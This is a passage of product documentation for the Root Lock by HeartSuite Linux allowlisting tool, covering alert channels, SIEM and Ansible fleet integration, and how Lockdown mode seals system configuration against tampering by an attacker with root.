  "event_type": "new_program_blocked",
  "timestamp":  "2026-03-31T14:22:00Z",
  "mode":       "Lockdown",
  "lockdown":   false,
  "paths":      ["/tmp/dropper", "/tmp/payload"],
  "count":      2
}

To receive this payload, create an integration in your incident management tool and paste the endpoint URL into the Webhook field:

Status JSON — A passive monitoring surface at ~/.cache/heartsuite/status.json, updated every 60 seconds. Ansible, Nagios, and Zabbix can read this file via SSH pull. No configuration required — always active when the alert daemon is running. This is read-only; it does not push notifications.

For production examples (Filebeat/Elastic, rsyslog forwarding, webhook targets, verification commands) and the “scale path for larger teams” guidance, see the dedicated SIEM and Fleet Integration page. That page also covers using policy and posture data for tables of the current allowlist, risk signals, and posture views in Kibana/Elastic.

For using your existing central tooling (Ansible, Terraform, GitOps, ServiceNow, custom scripts) to own and apply allowlist policy at scale — with pre-seeding, harvest, and consumption of status.json / JSONL approval logs / syslog / webhook — see Central Policy Management and External Control. HeartSuite is designed to be driven by your control planes; the Dashboard is the single-host operator surface.

When Phase 6 is complete — at least one push channel configured — the Dashboard marks Phase 6 as complete and unlocks Phase 7 (Lockdown).

What triggers an alert

Administrative state changes

These alerts fire immediately on every configured channel, regardless of accumulation windows or digest mode:

AlertWhen it fires
Mode switch (Setup → Lockdown or Lockdown → Setup)Immediately on mode change
Lockdown activated or deactivatedImmediately on state change
New allowlist file pushed while Lockdown is activeOn detection

Blocks in Lockdown

These blocks apply a threshold filter and are active in Lockdown only:

BlockTrigger condition
Previously unseen program blockedA program path appears in the denial log that has never appeared in any prior log session
Network burst to new destinationsA single program generates blocked connections to previously unseen destinations within a 2-hour window
Critical file version created outside maintenanceA new backup version is created for a file under /etc/, /bin/, /usr/bin/, /sbin/, /lib/, or /usr/lib/ while in Lockdown with no maintenance window open

Never alerted under any circumstances:

  • Anything in Setup Mode
  • Repeated blocks of the same program–destination pair already seen in the current session
  • File version activity under /tmp/, /var/tmp/, or /dev/shm/
  • Dashboard sessions opened or closed
  • Successful allowlist approvals

How alerts are delivered

Email — 5-minute accumulation window

Blocks are grouped before delivery. A dropper that installs 40 payloads in 90 seconds produces one email — “40 previously unseen programs blocked in 90 seconds” — not 40 individual messages. Volume and velocity are the attack signal; 40 separate emails fragment that signal into noise.

  • The 5-minute window starts on the first block of a given type
  • Additional blocks of the same type within that window are added to the pending bundle
  • At window close, one email is dispatched covering all accumulated blocks
  • Blocks of different types accumulate independently — a network burst does not delay a file modification alert

Digest mode: If more than 3 block alerts are dispatched within a single hour, Root Lock by HeartSuite switches to digest mode for the remainder of that hour. All further blocks are queued and delivered as one digest email at the hour’s end. Administrative state changes are never held — Lockdown activations and state changes are always delivered immediately.

The 5-minute window and hourly cap are fixed, not user-configurable.

Syslog and webhook — immediate

Syslog and webhook emit every alert immediately, without grouping or windowing. SIEM platforms (Splunk, Elastic) and incident management tools (PagerDuty, OpsGenie) apply their own correlation and deduplication — grouping alerts before they reach these systems removes information they need.

With at least one push channel configured, Phase 6 is complete and the Dashboard unlocks Phase 7. Follow the Suggested Next Step to activate Lockdown (prep with per-panel actions/opt-outs before YES).

8.1 - SIEM and Fleet Integration

Connect Root Lock by HeartSuite to your existing SIEM, observability platforms, and incident management tools. The recommended scale path for teams managing many servers without per-host TUI toil.

Overview: Root Lock by HeartSuite integrates with your existing SIEM, EDR, and observability stack via syslog (journald/rsyslog) and webhook. This is the scale path for larger teams: configure once (in the Dashboard under Alert Settings → Fleet tab) and let your central tooling handle monitoring, correlation, and alerting. There is no requirement to run the TUI on every host for day-to-day fleet visibility.

The raw enforcement decisions and higher-level alerts are emitted in real time. SIEM platforms receive the full picture; incident tools receive actionable events.

When the Fleet tab “Syslog” toggle is enabled, every alert and every kernel-level enforcement decision is written to the local journal (ident heartsuite / heartsuite-alert).

Filebeat / Elastic (or any rsyslog-compatible shipper)

# filebeat-heartsuite.yml (adapt to your existing stack)
filebeat.inputs:
  - type: journald
    id: heartsuite-enforcement
    include_matches:
      - "SYSLOG_IDENTIFIER=heartsuite"
output.elasticsearch:
  hosts: ["https://your-elastic:9200"]
  # username, password, ssl.* etc. from your existing config
logging.level: warning

One ingest configuration works for Splunk, QRadar, Graylog, Loki (via promtail), etc. Both the per-decision enforcement stream and the aggregated alert events flow under the same tag.

Pre-flight check on the host:

filebeat test config && filebeat test output

Direct rsyslog forwarding

Create /etc/rsyslog.d/heartsuite.conf:

:programname, isequal, "heartsuite" @@your-siem-host:514
# Use @ for UDP or the TLS modules for production

Then:

sudo systemctl restart rsyslog
journalctl -t heartsuite --since "1 minute ago"

Webhook (for PagerDuty, OpsGenie, Slack, etc.)

Enter a valid HTTPS URL in the Fleet tab. HeartSuite posts a compact JSON payload on every alert (immediate delivery, no batching on our side — let your receiver deduplicate).

Example payload:

{
  "node_id":    "prod-web-03",
  "event_type": "new_program_blocked",
  "timestamp":  "2026-03-31T14:22:00Z",
  "mode":       "Lockdown",
  "lockdown":   true,
  "paths":      ["/tmp/dropper", "/tmp/payload"],
  "count":      2
}

Supported targets (paste the URL and any required key into the Fleet tab):

  • PagerDuty Events API v2
  • OpsGenie Incoming Webhook
  • Slack Incoming Webhooks
  • Generic HTTPS JSON receivers

Use the “Test Webhook” button in the UI to validate delivery.

Status JSON (pull-based monitoring)

A passive, always-on snapshot is written every 60 seconds to ~/.cache/heartsuite/status.json (world-readable when the alert daemon runs).

Fields of particular interest for health checks:

  • mode, is_hs_kernel, lockdown, daemon_ok
  • pending_* counts (non-zero in Lockdown usually indicates something needs investigation)
  • Per-channel last_*_error objects

Tools that can consume it directly:

  • Ansible facts / custom modules over SSH
  • Nagios / Icinga / Zabbix (SSH or file checks)
  • Any script that cats or jqs the file on a schedule

No configuration is required on the HeartSuite side.

Policy and posture data in Elastic and Kibana

In addition to the enforcement and alert streams, HeartSuite can emit structured policy and posture data. This includes snapshots of the current allowlist together with periodic reports of the host’s protection posture. When ingested into Elasticsearch, this data supports views of the allowlist across your fleet.

You can use it for:

  • Tables of approved programs along with their exact file and network grants.
  • Summaries such as counts of programs, broad-write risks while locked down, and reporting hosts.
  • Detecting drift by comparing the stable record_hash across snapshots.
  • Filtering for higher-risk entries using fields such as risk_level, has_broad_write, has_network_grant, and lockdown_active_at_capture.

The data works with visualization tools in Kibana and similar platforms:

  • Key fields for each program and its grants are directly available for tables and metrics.
  • Grant details remain accessible for further exploration.

This view complements the host Dashboard and TUI: use the Dashboard for deliberate changes, review queues, and sealing on individual hosts. Use the central view for scanning, filtering, and correlating posture and the allowlist at fleet scale.

Production path on real hosts

On production hosts, enable the policy and posture export option in the Fleet tab of Alert Settings. Ship enforcement and alert streams via syslog or Filebeat as described above. Ingest into your existing Elasticsearch cluster and build Kibana dashboards with your standard security, retention, and access controls. No separate HeartSuite download is required for this path.

tools/kibana-bridge (optional evaluation stack)

For lab, evaluation, and customer demos, HeartSuite offers tools/kibana-bridge/: an optional disposable Docker stack (Elasticsearch, Kibana, and a small ingest receiver) that turns HeartSuite telemetry (apo_change, heartbeats, enforcement) into policy-centric Kibana views. It is not installed by heartsuite-install.sh; request an evaluation kit from support@heartsecsuite.com or use the materials included with your coordinated release delivery.

The bridge is a read-only insight plane that complements syslog enforcement streams. It does not replace them and is not required for production. Typical views include:

  • A living allowlist table (one row per program_path with grant counts, risk_level, has_broad_write, has_network_grant, and related fields).
  • KPI-style posture metrics (policy counts, broad-write risk while locked down, high-grant surface, recent blocks).
  • Drift detection by comparing stable record_hash values across snapshots.
  • Enforcement correlation for drill-down alongside policy rows.

The stack is localhost-only, security-disabled, and throwaway (docker compose down -v wipes volumes).

Versus tools/siem-test/: These are sibling evaluation fixtures with different purposes (both available on request, not on production hosts):

FixturePurpose
tools/siem-test/Alert channel validation (syslog, email, webhook). Optional Kibana is for eyeballing raw text events.
tools/kibana-bridge/Policy-surface visibility in Kibana (tables, KPIs, risk filters, record_hash drift). Uses richer telemetry payloads.

They can run side by side on the same machine (different ports). Neither fixture is installed to /.hs/sys on hosts.

Quickstart (evaluation):

cd tools/kibana-bridge
docker compose up -d
docker compose run --rm setup
# Open http://localhost:5601 (or http://127.0.0.1:5601)

After setup, Kibana includes preconfigured data views:

  • HeartSuite Policies — primary view for the living allowlist table (Lens tables, drift filters).
  • HeartSuite Events — raw telemetry and event drill-down in Discover.

An optional imported dashboard, HeartSuite - Policy Overview, may also be present when saved objects are bundled with your checkout.

To feed live data during lab work, enable Fleet tab export on a host and forward telemetry to the bridge ingest receiver, or ingest exported policy data into your production Elasticsearch using the same field model. Setup detail is included in the evaluation kit README shipped with tools/kibana-bridge/.

Pairing with Ansible central policy

The exported policy data model pairs naturally with Ansible (or Terraform/GitOps) central policy management: curate one allowlist in your repo, push via the heartsecurity.root_lock Ansible role, batch_record_add.py, or hs-manage-allowlist, and use Kibana tables, KPIs, and record_hash for fleet visibility and drift detection. The bridge (or your production Elasticsearch deployment) is the read and visibility side; your control plane remains the write path.

See Central Policy Management and External Control for Ansible role variables, seed application, and harvest patterns.

Verification commands (run on the HeartSuite host)

# Recent alerts and enforcement decisions
journalctl -t heartsuite --since "10 minutes ago"
journalctl -t heartsuite-alert --since "10 minutes ago"

# Status snapshot (for pull monitors)
cat ~/.cache/heartsuite/status.json | jq .

Relationship to the Dashboard

All channels are configured in the single Alert Settings screen ([e]). The “Fleet” tab is the central place for SIEM/webhook/syslog + status. Email remains available as a supplementary or low-volume channel.

At fleet scale the recommendation is clear: syslog for the SIEM, webhook for incident response platforms, and Status JSON for infrastructure-as-code health checks. The Dashboard remains the place for initial setup, exception review, and maintenance — not for ongoing fleet monitoring.

Policy management is the inbound complement: your central systems curate and apply allowlists via the shipped CLI tools, pre-seeding, and automation patterns. See Central Policy Management and External Control.

Once at least one push channel is configured, Phase 6 (Alert Settings) is complete and you can proceed to Lockdown.

For the UI configuration steps in detail, see the parent Alert Settings page.

8.2 - Central Policy Management and External Control

Drive allowlist policy from your existing enterprise control planes (Ansible, Terraform, ServiceNow, and custom automation) and consume rich export data for central visibility and auditing at fleet scale. The recommended path for teams that own policy in their own tooling.

Overview: HeartSuite is designed to be driven by your existing central tooling. The Dashboard is the operator experience for a single host; enterprises use their control planes to manage policy and observe at scale.

There is no built-in multi-host push from a HeartSuite server. Each host enforces its own allowlist, and Lockdown seals that allowlist on the device. Policy is applied per-host by your automation, with rich export surfaces for central consumption and attribution. This model lets you keep ownership of policy curation, change approval, and fleet-wide visibility inside the tools you already run (Ansible, Terraform, GitOps repositories, ServiceNow, Splunk, Elastic, custom orchestration).

The subscription activation step that enables Lockdown remains a per-host entitlement check. The content of the policy itself can be fully external.

Policy curation in your central systems

A central system (CMDB, Git repository as source of truth, ITSM workflow, or custom script) owns the authoritative list of approved programs, file-access paths, and network destinations.

  • Generate or maintain policy as simple text lists (one absolute program path per line) or structured data that your automation can parse.
  • Curate changes through your normal processes: code review in Git, change tickets in ServiceNow, or policy-as-code pipelines.
  • For homogeneous fleets or golden images, pre-seed a known-good baseline allowlist at install or first boot. This accelerates onboarding compared to pure observation on every host.
  • For varied or custom workloads, allow an initial observation window in Setup Mode on a representative host, harvest the resulting allowlist entries, review them centrally, and then push the approved set to the rest of the fleet.

Pre-seeding reduces per-host Dashboard toil for standard stacks while still requiring explicit approval of any deviation before Lockdown.

Applying policy from automation

Use the CLI tools shipped with every installation (documented in the Appendices and Batch Allowlisting Tools) to apply policy from your control plane:

  • hs-manage-allowlist — inspect current state, add or remove specific entries for programs, file paths, and network destinations.
  • batch_record_add.py — bulk-seed programs from a plain-text list of paths (adds each with standard library and configuration directories).

Run these tools over SSH, via config-management agents, or as part of provisioning scripts. Your central system prepares the seed data or change set; the automation layer delivers and applies it to each target host.

Subscription activation (hs-activate-subscription) is still required on each host before Lockdown can be engaged — this is the entitlement step and remains local.

Examples for the primary integration patterns follow.

1. Ansible — playbooks for seeding and applying policy

HeartSuite provides an official declarative Ansible role (heartsecurity.root_lock) for fleet policy application and Lockdown transitions. It is modelled on linux-system-roles.selinux and ships with coordinated release materials; email support@heartsecsuite.com if you need the role package. On every installed host, the limited_tools Python API under /opt/heartsuite is the runtime integration surface the role uses. A shell-and-CLI alternative using batch_record_add.py and hs-manage-allowlist follows below for ad-hoc or legacy playbooks.

Official Ansible role: heartsecurity.root_lock

Overview: The role provides variable-driven, idempotent management of allowlist programs and mode transitions. It is modelled on linux-system-roles.selinux (and rhel-system-roles.selinux) so administrators familiar with RHEL declarative SELinux policy can apply the same playbook patterns to HeartSuite.

Requirements:

  • HeartSuite already installed on managed hosts (the role does not install the product).
  • become: true — all operations are privileged.
  • Ansible >= 2.9.
  • The role invokes the production Python API in /opt/heartsuite (limited_tools via /opt/heartsuite/venv/bin/python3 and /opt/heartsuite/src).

Key variables (all prefixed hs_ to avoid collision with SELinux role variables):

VariablePurpose
hs_stateMode transition: secure or lockdown (synonyms). setup is informational only (no-op). Unset leaves mode unchanged. Calls switch_to_secure() with the same precondition gates as the Dashboard.
hs_programsList of absolute program paths to approve (uses apply_allowlist_seed() internally).
hs_seedsList of seed file paths, or literal inline paths when the entry is not an existing file. Seed files are plain text, one path per line; # comments and blank lines are ignored. Combine freely with hs_programs.

Additional variables include hs_gather_status (default true, exposes hs_status fact), hs_purge / hs_purge_allowlist (currently emit a warning only — the scriptable surface is additive by design), and hs_python / hs_src_path overrides for non-standard install layouts.

Idempotency: All allowlist operations return CommandResult with kind == "noop" when an entry is already present. The role uses this for correct changed_when reporting, so repeated plays do not show spurious changes.

Minimal example playbook:

# heartsuite-root-lock.yml
- name: Configure HeartSuite allowlist and engage Lockdown
  hosts: heartsuite_fleet
  become: true
  vars:
    hs_state: secure
    hs_programs:
      - /usr/sbin/sshd
      - /usr/bin/python3
    hs_seeds:
      - /var/lib/ansible/heartsuite/seed.txt
  roles:
    - heartsecurity.root_lock

After switching to secure or lockdown, a reboot is typically required for full seal; the role does not reboot automatically. Register facts (hs_status, hs_apply_result, hs_switch_result) are available for assertions or subsequent tasks.

Python API alternative: For custom Ansible modules or non-Ansible automation, the same primitives are exposed directly via limited_tools: approve_program_path, apply_allowlist_seed, get_status, get_allowlist_programs, and switch_to_secure. These reuse the same gates and CommandResult semantics. The heartsecurity.root_lock role is the preferred declarative path; use the Python API when you need bespoke orchestration beyond the role variables.

Register playbooks as the mechanism that executes change records approved in your central system.

Shell + register alternative

Use Ansible to distribute seed files and invoke the batch or management tools with become: true:

# heartsuite-policy-apply.yml
- hosts: heartsuite_fleet
  become: true
  tasks:
    - name: Copy central program seed list
      copy:
        src: "policy/seeds/programs-{{ inventory_hostname }}.txt"
        dest: "/tmp/heartsuite-programs.txt"
        owner: root
        mode: '0600'

    - name: Apply baseline programs via batch tool
      shell: "/.hs/sys/batch_record_add.py /tmp/heartsuite-programs.txt"
      args:
        creates: "/.hs/sys/allowlist_applied_{{ inventory_hostname }}.stamp"

    - name: Apply targeted network and file deltas from central policy
      shell: |
        hs-manage-allowlist add -x /usr/bin/curl -n 93.184.216.34
        hs-manage-allowlist add -r /etc/ssl/certs -w /var/log/app
      # Idempotency and error handling left to your playbook

    - name: Record application in central audit
      shell: "hs-manage-allowlist list > /tmp/current-allowlist-{{ inventory_hostname }}.txt"
      delegate_to: localhost
      # Then copy or commit the harvest back to your policy repo

This pattern does not use CommandResult.kind == "noop" for changed_when; implement your own idempotency checks (for example creates, or register + conditional tasks).

2. Splunk / Elastic (and similar SIEMs) — ingesting for central dashboards and policy triggers

The primary use of Splunk and Elastic is consumption of the structured data streams (see SIEM and Fleet Integration). Once events are in the SIEM:

  • Build dashboards showing per-node mode, pending counts (from status.json), block rates, and approval activity (from the JSONL approval log forwarded via syslog or other shipper).
  • Build views of the current allowlist and associated risks from the structured policy snapshots and posture data, including tables of programs with grant counts, risk_level, broad-write and network flags, and record_hash for drift detection.
  • Use SOAR playbooks or alert actions in the SIEM to trigger Ansible Tower / AWX jobs or Terraform runs that apply approved policy updates back to affected hosts.
  • Correlate HeartSuite enforcement events with change tickets to close the audit loop.

Syslog is the recommended high-volume path for both the per-decision enforcement stream and higher-level alerts. For richer views of the allowlist and posture (tables, metrics, and correlation) see SIEM and Fleet Integration.

3. Terraform + GitOps — policy in repository, applied at provision and drift remediation

Store allowlist seeds and change manifests in the same Git repository as your infrastructure code.

  • Use Terraform local_file or templatefile to render per-host or per-role seed files from a central policy definition.
  • During terraform apply, a remote-exec provisioner, local-exec that calls Ansible, or a custom provider runs the seed application and hs-manage-allowlist invocations on the new or updated instance.
  • Drift detection: scheduled jobs (or Terraform Cloud/Enterprise runs) harvest current state via hs-manage-allowlist list or cat ~/.cache/heartsuite/status.json, compare against the repo, and open PRs or apply corrections.
  • Git history becomes the authoritative change record for policy; the on-host JSONL approval log provides the per-host attribution of when and by which uid/tty the change was executed.

This pattern works especially well for immutable or frequently reprovisioned fleets.

4. ServiceNow or ITSM platforms — change-driven policy

  • Model allowlist additions, removals, or baseline updates as standard or emergency change requests.
  • Approved changes update a central policy repository (Git, CMDB, or dedicated store) or directly enqueue an automation job.
  • The automation (Ansible, scripts, or ServiceNow Flow Designer + MID server) applies the delta to the target hosts using the CLI tools above.
  • On completion, the automation closes the change ticket and posts the resulting JSONL approval log excerpts (or a pointer to the SIEM record) as evidence.

This keeps policy changes inside the same approval workflow used for all other infrastructure changes.

5. Custom scripts and other configuration management (Puppet, Chef, Salt, etc.)

Any tool that can copy files and run commands as root on the target can drive policy:

  • Puppet: a custom resource or exec that writes a seed list managed by Hiera or PuppetDB and then invokes batch_record_add.py or hs-manage-allowlist.
  • Chef: a recipe that templates policy from a data bag and executes the CLI tools.
  • Pure scripts (Python, Bash, or your language of choice) run from a central runner or cron on a bastion: query the authoritative policy store, compute the diff for each host (or use a node-specific tag), SSH in, and apply.

The dedicated JSONL approval log (with uid/tty attribution for each change) and the enforcement/alert syslog streams give you the same audit trail regardless of which tool performed the apply.

Consuming data for central visibility, auditing, and harvesting

All of the following surfaces are available without additional configuration once the daemon is running. They are the mechanism by which your central tooling observes state and reconstructs history.

  • Status JSON (~/.cache/heartsuite/status.json, updated every 60 seconds) — lightweight pull surface for health and pending counts. Use from Ansible facts, Nagios/Zabbix checks over SSH, or any scheduled collector. Key fields for fleet dashboards: mode, lockdown, is_hs_kernel, daemon_ok, pending_* counts, node_id. See the schema in the Appendices.

  • Dedicated JSONL approval log — persistent, append-only record of every allowlist change (program, file path, or network destination) with timestamp, uid, and tty. This is the primary artifact for change attribution and audit reconstruction. Forward it (or its directory) via your existing log shipper alongside the syslog streams.

  • Structured syslog streams — two real-time RFC 5424 streams under the heartsuite APP-NAME. One carries every kernel decision (enforcement: HS-PROG-DENY, HS-FILE-DENY, etc.). The other carries aggregated alerts (new_program_blocked, mode changes, etc.). A single rsyslog rule forwards both. Full configuration examples and Filebeat patterns are in the SIEM and Fleet Integration page.

  • Webhook — HTTPS POST of compact JSON alert payloads on every significant event. Configure the endpoint in Alert Settings; use for immediate routing into ServiceNow, PagerDuty, or your own policy-evaluation service.

  • Harvest current allowlist state — run hs-manage-allowlist list (or the equivalent Dashboard export) on a schedule or on demand and commit the output to your central policy repository. This closes the loop: central sees what is actually enforced on each host and can detect drift or feed the next baseline.

See Alert Settings for configuration of syslog and webhook (Fleet tab) and SIEM and Fleet Integration for production-scale ingestion patterns.

Relationship to the Dashboard and Lockdown

The Dashboard remains the right surface for one-off investigation, initial setup on a new host, and guided maintenance windows. At fleet scale, routine policy application and observation move to your central tooling.

Lockdown itself is still activated per host (after subscription activation and alert-channel prerequisites). Once active, the kernel and the immutable seal protect the applied policy exactly as they do for Dashboard-driven changes. Alerts for “new allowlist file pushed while Lockdown is active” fire on all configured channels, giving your central systems immediate visibility into any out-of-band modification.

For support with large-scale or custom automation patterns, contact support@heartsecsuite.com.

9 - Mode Switching and Lockdown

How to activate Lockdown, and manage the trust boundary through maintenance.

Overview: When you lock down from Setup Mode, the kernel blocks every program not on the allowlist (including any you forgot to approve). The Dashboard guides the activation through a precondition checklist and a deliberate confirmation. Lockdown seals the allowlist: no program or user, including root, can modify it while the server is running.

System states

Root Lock by HeartSuite has two modes: Setup Mode and Lockdown. Both run on the Root Lock by HeartSuite kernel. Lockdown seals the configuration with filesystem immutability. Both running Lockdown without the immutable seal and running Lockdown with the seal are valid configurations depending on your security requirements. Booting the original maintenance kernel is not a Root Lock by HeartSuite mode at all; it is the machine running without Root Lock by HeartSuite.

Root Lock by HeartSuite kernel loadedBlockingLoggingBackupsDashboard and features
Setup ModeYesNo: logs onlyYesYesDashboard and all features available
LockdownYesYes: blocksYesYesDashboard and all features available
Lockdown + sealedYesYes: blocksYesYesDashboard and all features available; configuration sealed with filesystem immutability
maintenance kernel (not a Root Lock by HeartSuite mode)No: Root Lock by HeartSuite absentNoNoNoFile-only tools only (see Protecting During Maintenance)

In Setup Mode and Lockdown, the Root Lock by HeartSuite kernel is loaded. Backups, logging, and the Dashboard all function normally in both. Booting the maintenance kernel means Root Lock by HeartSuite is completely absent (no blocking or logging takes place, and backups do not run).

The indicator at the top of the Dashboard shows the current protection state, and the Suggested Next Step tells you what to do next.

Trust graduation across modes

Each mode defines a different trust boundary. In Setup Mode, you are trusted to teach the allowlist — anything not on the allowlist is logged but not blocked. In Lockdown, trust is withdrawn from running programs regardless of which user runs them; any program, including one running as root, must be on the allowlist. With the immutable seal applied, your ability to change the allowlist at runtime is also withdrawn — configuration is sealed until the next reboot. Maintenance reopens that window deliberately, and booting the maintenance kernel for Lockdown recovery requires physical presence — a keyboard and monitor, a serial port, or your cloud provider’s serial console — preventing a remote attacker from triggering it.

Protection state

The indicator at the top of the Dashboard reflects the current protection state:

StateIndicator text
Setup ModeSETUP MODE: logging only, nothing is blocked
Lockdown (no immutable seal)LOCKDOWN: immutable seal not applied
Lockdown + sealedSilent (blank)
maintenance kernelmaintenance kernel: Root Lock not active. No blocking. No logging. No backups.

Setup Mode and Lockdown

At some point, you need to lock down to prevent malicious programs from starting, or to restrict the files and network destinations those programs can reach. Lockdown activation (Phase 7) is locked until all prior phases (2 through 6) are finished. The Dashboard tracks your progress through these phases and will indicate when Lockdown activation is available as the Suggested Next Step.

If you have not added the necessary access permissions or network address permissions to allowlist entries, Root Lock by HeartSuite will block programs from accessing those files and network addresses when you activate Lockdown.

Once Root Lock by HeartSuite is set up, consider continuing in Setup Mode for several days. During that time, the review queues will capture additional file and network access activity — giving you a more complete allowlist before activating Lockdown.

When installing new software, you must return to Setup Mode. For example, the Debian package manager dpkg creates temporary directories during installation. In Lockdown, this generates a permission error and the installation halts. The temporary directory is removed before it can be added to an allowlist entry. Switch to Setup Mode before using dpkg, add any additional access permissions needed, then re-engage Lockdown.

graph TD
    A["Dashboard: Phase Progress complete"] --> B["Review queues empty — ready for Lockdown"];
    B --> C["Dashboard Lockdown button (`[l]`) — prep with per-panel actions/opt-outs (e.g. [u] undo grants, [p] patch, [g] restrict tools, [x] exclude) before YES"];
    C --> D["[r] Reboot — Lockdown active on next boot"];
    D --> E["Lockdown active"];
    E --> G{Maintenance needed?};
    G --> |"Yes — immutable seal active"| I["Maintenance [m] → guided 3-step process\nStep 1: Boot maintenance kernel, [u] remove flags\nStep 2: Make changes\nStep 3: Boot Root Lock kernel, review new activity"];
    G --> |"Yes — no immutable seal\n(most installs and patches)"| O["Maintenance [m] → switch to Setup Mode\nOne reboot, Root Lock by HeartSuite kernel stays active"];
    I --> J["Make changes, update allowlist from Dashboard"];
    O --> J;
    J --> N["Return to Lockdown from Dashboard"];
    N --> E;

Switching between modes

Dashboard-first Lockdown activation

The Dashboard is where you activate Lockdown. When all preconditions are met, the Suggested Next Step will offer Lockdown activation. The precondition checklist includes:

  • All review queues are empty (Programs [p], File Access [f], Internet Access [i])
  • Boot configuration is complete (System Setup)
  • Phase 7 is unlocked (phases 2 through 6 complete)

When preconditions are satisfied, the Dashboard presents the activation option.

Activating Lockdown

From the Dashboard, select the Lockdown button ([l]). The Dashboard shows a precondition checklist, an observation period summary, and a review of your allowlist. Before the final confirmation, the prep shown during Lockdown activation (on the Lockdown screen) offers per-panel actions and opt-outs:

  • [u] undo auto-narrowed install write grants (also surfaces for kmod directory and broad write grants by priority)
  • [p] patch HeartSuite install paths into the Lockdown seal configuration
  • [g] restrict rm/cp/mv to their observed directories (captures usage from Setup; mitigates GTFOBins-style abuse of maintenance tools)
  • [x] exclude specific write-conflict paths from the seal
  • plus SSH hardening ([h], [r]/[j]) and inbound permit selection ([o]/[a])

The commitment summaries and the separate Lockdown Inventory view ([l]) are read-only. Adjustments happen via the prep actions on the activation screen, not via the inventory. When all preconditions are met, type YES (case-sensitive) to confirm activation.

Lockdown with all preconditions met

(The diagram shows the checklist and review state; the actual activation flow uses the prep actions listed above rather than interactive views on the inventory. The inventory and commitment panels are read-only.)

After confirming, the Dashboard offers one reboot option:

  • [r] Reboot — Lockdown active on next boot

Lockdown is applied on the next reboot and persists — to make changes, use the Dashboard’s Maintenance ([m]), which guides you through booting the maintenance kernel and removing the seal.

Returning to Setup Mode

From the Dashboard, use the Lockdown button ([l]) to return to Setup Mode for maintenance. You must return to Setup Mode before installing packages or making configuration changes that Lockdown would block.

Switching mode from a Non-HS Kernel

When booted into the maintenance kernel, set the mode before rebooting to the Root Lock by HeartSuite kernel:

# sudo hs-mode-switch on

Lockdown: sealing the system

Lockdown seals Root Lock by HeartSuite’s configuration with filesystem immutability, so a compromised root account cannot tamper with the allowlist while the system runs. The seal is system-wide: configuration, system files, accounts, scheduled tasks, and the maintenance tools themselves — all sealed in one step. The Dashboard displays the current Lockdown status and provides the Suggested Next Step for managing it.

Lockdown is applied automatically as part of activating Lockdown from the Dashboard. Once engaged, it persists until you exit through the Dashboard’s Maintenance ([m]), which guides you through booting the maintenance kernel to remove the seal. The table below shows what changes between Lockdown without the immutable seal and Lockdown with the seal.

LockdownLockdown + sealed
Blocks unauthorised programs, file access, and network accessYesYes
LoggingYesYes
BackupsYesYes
Can root edit allowlist entries or Root Lock by HeartSuite config files?YesNo — immutable; attempts to write are blocked by the kernel until the seal is removed via Maintenance
Can an attacker with root tamper with security settings?PossibleNo — protected by immutability
Can you modify files made immutable by Lockdown?YesNo — until the seal is removed via the Maintenance on the maintenance kernel
Are file editors and broadly-scoped tools (rm, cp, mv) restricted?NoYes — automatically. Editors are sealed; rm, cp, and mv are replaced with restricted copies scoped to the paths your system uses them on. Restored automatically when you enter Maintenance.
Can the immutable seal be engaged in Setup Mode?N/ANo — Lockdown is required first
How long does the seal last?N/AUntil immutable flags are removed through the maintenance journey — the seal persists across reboots and re-engages automatically on every HeartSuite kernel boot
How do you exit the seal?N/AUse the Dashboard’s Maintenance ([m]) — it sets the GRUB default to the Maintenance entry (maintenance kernel / Setup Mode destination) automatically before rebooting, guides you through removing the seal on the maintenance kernel, then returns to the Root Lock by HeartSuite kernel. Console access (keyboard and monitor, serial port, or cloud serial console) is required only if automatic GRUB configuration does not apply.

What Lockdown does

Once Lockdown is engaged, Root Lock by HeartSuite seals five things at once, all using chattr +i. Before you confirm, the Dashboard shows the paths that will be sealed, grouped by category with counts. The list is shown for review only. The Maintenance restores mutability for the necessary tools automatically.

The five categories Lockdown seals:

  • HeartSuite configuration — your allowlist files, the mode state file, and the kernel image directory. Defends against allowlist tampering and kernel swap by an attacker who escalates to root.
  • System integrity — shared libraries (/usr/lib/), systemd unit directories, the SSH server config, and sudo policy. Defends against shared-library injection (a modified libc.so backdooring every program loading it), malicious systemd units installed to fire on next boot, and SSH or sudo policy weakened by a brief root compromise.
  • Authentication state — the account database (/etc/passwd, /etc/shadow, /etc/group) and no-login shells. Defends against an attacker who reaches root creating accounts, changing passwords, or converting service accounts into interactive logins.
  • Scheduled tasks and login scripts — cron and anacron configuration, environment defaults, and root’s shell profiles. Defends against an attacker scheduling a script to run after a reboot but before Lockdown re-engages, and against bash-profile backdoors that run on the next root login.
  • Maintenance tools — file editors (nano, vim, sed, ed) made non-executable, and rm/cp/mv replaced with restricted copies whose write access is limited to the paths the kernel saw those tools used for during Setup Mode. Defends against a compromised approved program leveraging admin tools that run with their own broad scope, not the caller’s.

If the HeartSuite kernel fails to load, the startup script isolates the primary network interface and removes all immutable flags. The machine is then without HeartSuite protection and without network access. Recovery requires booting to the maintenance kernel from physical or serial-console access, repairing or replacing the failed kernel, and re-engaging Lockdown through the maintenance journey.

Once Lockdown is engaged, the Root Lock by HeartSuite kernel disables chattr entirely — no user or program, including root, can change the immutability flags. This means no allowlist entries, configuration files, or protected directories can be modified, deleted, or added while Lockdown is active.

Lockdown persists across reboots — the HeartSuite startup script re-engages it automatically each time the HeartSuite kernel starts. The only way to remove it is to boot the maintenance kernel and follow the maintenance journey. Lockdown cannot be engaged in Setup Mode; if you try, an error message is written to the kernel log. The filesystem immutability applied by Lockdown via chattr +i is a flag stored on disk, not in kernel memory. This means that immutable flags set during Lockdown persist across reboots, including reboots into the maintenance kernel. If you boot the maintenance kernel for maintenance after Lockdown was active, the Dashboard’s Maintenance wizard runs HS_unlock.sh for you via [u] Remove Flags. For recovery outside the Dashboard, run HS_unlock.sh before attempting to modify any files that were made immutable.

What this closes off

Two of the five seals close attacks that are easy to miss.

Compromised programs cannot borrow another program’s tools. When an approved web server runs rm, the deletion uses rm’s permissions, not the web server’s. rm legitimately needs broad access during maintenance — so its allowlist is broad. A compromised approved program could otherwise borrow that breadth. Lockdown replaces rm with limited_rm, whose own write paths cover only what the system was observed using rm for during Setup Mode. Same for cp and mv.

Nothing planted before the reboot survives it. Lockdown engages after boot — there’s a brief gap between the system coming up and the seal taking hold. Without sealing cron, anacron, environment defaults, and root’s shell profiles, an attacker who reached root before a reboot could plant a script to run in that gap. With those files sealed during the prior Lockdown, the script never reaches them — and on the next boot, nothing has changed.

Automatic Lockdown on boot

